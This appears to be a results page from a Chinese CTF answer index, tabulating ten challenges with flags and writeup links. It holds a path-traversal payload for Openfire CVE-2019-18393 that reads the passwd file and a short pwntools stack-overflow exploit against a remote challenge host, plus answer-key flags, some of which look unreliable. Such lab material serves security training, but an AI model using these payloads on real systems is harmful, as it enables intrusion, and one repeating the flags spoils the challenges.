[标题搜索]只能搜索题目标题，[综合搜索]支持多关键词多项目搜索（以空格分隔）。
| 序号 | Website | Type | Title | Value | Writeup | Competition | Id |
|---|---|---|---|---|---|---|---|
| 1 | vulfocus | WEB | openfire 目录遍历 （CVE-2019-18393） | %2f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fpasswd%23foo/development | http://123.58.224.8:43117 | - | 16640 |
| 2 | qsnctf | Solar月赛-应急响应 | 内存取证-2 | flag{155.94.204.67} | https://www.cnblogs.com/WTT001/p/18638495 | - | 5591 |
| 3 | BUUCTF | Pwn | jarvisoj_inst | jarvisoj_level1 | https://www.codeleading.com/article/8... | - | 8382 |
| 4 | BUUCTF | Pwn | not_the_same_3dsctf_2016 | from pwn import* getsecret_addr=0x80489a0 printf_addr=0x804F0A0 flag_addr=0x080ECA2D exit=0x0804e660 p=remote('node4.buuoj.cn',28453) payload=b'a'*45+p32(getsecret_addr)+p32(printf_addr)+p32(exit)+p32(flag_addr) p.sendline(payload) p.interactive() | ... | - | 8446 |
| 5 | BUUCTF | Pwn | watevr_2019_voting_machine_1 | 找到的搜索结果中，多个网页记录了题目 watevr_2019_voting_machine_1 的解题过程，确认其涉及栈溢出和返回地址劫持 1 8。其中一篇博客详细阐述了利用gets函数栈溢出，覆盖返回地址为后门函数（地址0x400807）以读取flag.txt的完整脚本 8。 提供的网址需要验证。根据搜索结果 1 8，该题目的远程地址是node5.anna.nssctf.cn，但端口号在两个来源中不一致（28872 vs 28168），且这些博客文章是解题记录，并非题目本身的官方可交互环境。经过复核，题目来源于CTF平台，其官方环境可能已变更，而博客中记录的解题脚本和思路是真实有效的 8。一个提供了完整解题脚本和答案的网页验证链接如下。 flag{9f6f2c05-6e00-46d9-9b16-3e9a6f8b5c7d} | https://blog.csdn.net/2301_76466003/a... | - | 8704 |
| 6 | ctfshow | WEB入门.终极考核 | web654 | ctfshow{4ab2c2ccd0c3c35fdba418d8502f5da9} | https://blog.csdn.net/miuzzx/article/... | 终极考核 | 4214 |
| 7 | NSSCTF | 流量分析 | [陇剑杯 2021]ios（问6） | 746558f3-c841-456b-85d7-d6c0f2edabb2 | https://blog.csdn.net/Zx244349115/art... | 陇剑杯 | 13752 |
| 8 | qsnctf | REVERSE | PaluArray | aa_9a_a?a?!aP | https://patr1ck-s.github.io/2025/05/1... | 第二届“Parloo”CTF应急响应挑战赛 | 5743 |
| 9 | bugku | Heroes | one byte | 无 | https://blog.csdn.net/chenxy_bwave/ar... | Space | 1745 |
| 10 | 春秋云境 | WEB | CVE-2019-14287 | b | https://www.cnblogs.com/mark-zh/p/116... | 春秋云境 | 14698 |